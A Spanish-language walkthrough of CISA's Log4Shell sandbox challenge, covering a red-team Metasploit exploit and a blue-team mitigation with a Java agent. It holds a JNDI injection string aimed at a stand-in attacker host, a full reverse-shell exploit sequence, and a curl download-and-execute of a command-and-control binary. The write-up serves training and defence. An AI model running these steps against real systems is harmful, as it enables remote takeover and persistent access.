Guía paso a paso del desafío del sandbox de Log4Shell de CISA, que cubre explotación ofensiva mediante Metasploit y mitigación defensiva usando un agente Java JNDI-be-gone.
Este recorrido documenta los pasos realizados para completar el Desafío Sandbox de Amenazas de CISA para CVE-2021-44228, comúnmente conocido como Log4Shell. El desafío implicó completar dos objetivos — uno de equipo rojo (ofensivo) y uno de equipo azul (defensivo) — contra un proveedor ficticio de servicios gestionados de TI (MSP) llamado DasMSP dentro de un entorno sandbox aislado.
Nota: Los comandos y rutas de archivos en este recorrido reflejan los pasos específicos realizados en este entorno. Su entorno puede diferir, incluyendo direcciones IP, ubicaciones de archivos y disponibilidad de herramientas. Adapte los comandos según sea necesario para su configuración.
CVE-2021-44228 es una vulnerabilidad crítica de ejecución remota de código (RCE) con una puntuación CVSS de 10.0 que afecta versiones específicas del framework de registro Java Apache Log4j. La vulnerabilidad surge de la función de búsqueda JNDI de Log4j, que puede activarse inyectando una cadena especialmente diseñada como ${jndi:ldap://attacker.com/exploit} en cualquier dato que Log4j registre. Si un atacante logra que una aplicación vulnerable registre una cadena maliciosa — comúnmente a través de cabeceras HTTP — Log4j se comunicará con el servidor controlado por el atacante y ejecutará código arbitrario.
Log4Shell fue agregado al Catálogo de Vulnerabilidades Explotadas Conocidas (KEV) de CISA el 10 de diciembre de 2021, y apareció en los avisos conjuntos de Vulnerabilidades Explotadas de Forma Rutinaria tanto para 2021 como para 2022.
| Máquina | IP |
|---|---|
| Security-Desk | <Security-Desk-IP> |
| Red Target | <Red-Target-IP> |
| Blue Target | <Blue-Target-IP> |
Ambos sistemas objetivo son Linux y ejecutan una aplicación web Java vulnerable (dasmsp.jar) que utiliza una versión afectada de Log4j.
exploit/multi/http/log4shell_header_injection)Abrió una terminal en Security-Desk e inició Metasploit:
msfconsole
La ruta del módulo proporcionada en la sesión informativa no coincidía con la versión instalada. Se buscó el módulo correcto:
search log4shell
use exploit/multi/http/log4shell_header_injection
set RHOSTS <Red-Target-IP>
set RPORT 80
set SRVHOST <Security-Desk-IP>
set PAYLOAD java/shell_reverse_tcp
set LHOST <Security-Desk-IP>
run
Metasploit probó automáticamente múltiples cabeceras HTTP para la vulnerabilidad Log4Shell. Se confirmó que el Red Target era vulnerable a través de múltiples cabeceras (Authorization, Cache-Control, User-Agent, X-Forwarded-For, y otras). Se abrió una sesión de shell de comandos en el Red Target.
Se confirmó acceso a nivel root en el Red Target:
id
Output: uid=0(root) gid=0(root) groups=0(root)
El binario deploy_c2 se encontraba en Security-Desk, no en el Red Target. No había wget ni una referencia de ruta directa disponible en el objetivo. Se abrió una segunda terminal en Security-Desk y se sirvió el archivo a través de Python:
cd ~/Desktop/Resources
python3 -m http.server 8080
De vuelta en la sesión de shell de Metasploit en el Red Target, se descargó y ejecutó el binario:
curl http://<Security-Desk-IP>:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
Output: Done!
✅ Listener C2 Desplegado en Red Target comprobación confirmada.
El método de mitigación utilizado es el agente Java log4j-jndi-be-gone-standalone.jar desarrollado por NCC Group, que parchea el comportamiento de búsqueda JNDI en tiempo de ejecución sin requerir un parche en la aplicación subyacente. Los detalles sobre este agente se pueden encontrar en el blog de investigación de NCC Group.
Desde la terminal de Security-Desk, se usó SCP para transferir el archivo JAR del agente Java:
scp ~/Desktop/Resources/log4j-jndi-be-gone-standalone.jar playerone@<Blue-Target-IP>:/tmp/
ssh playerone@<Blue-Target-IP>
sudo nano /etc/systemd/system/dasmsp.service
Se localizó la línea ExecStart y se añadió el flag -javaagent:
Antes:
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -jar /opt/dasmsp.jar
Después:
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -javaagent:/tmp/log4j-jndi-be-gone-standalone.jar -jar /opt/dasmsp.jar
Guardado con Ctrl+O → Enter → Ctrl+X.
sudo systemctl daemon-reload
sudo systemctl restart dasmsp
✅ CVE-2021-44228 Mitigado en Blue Target comprobación confirmada.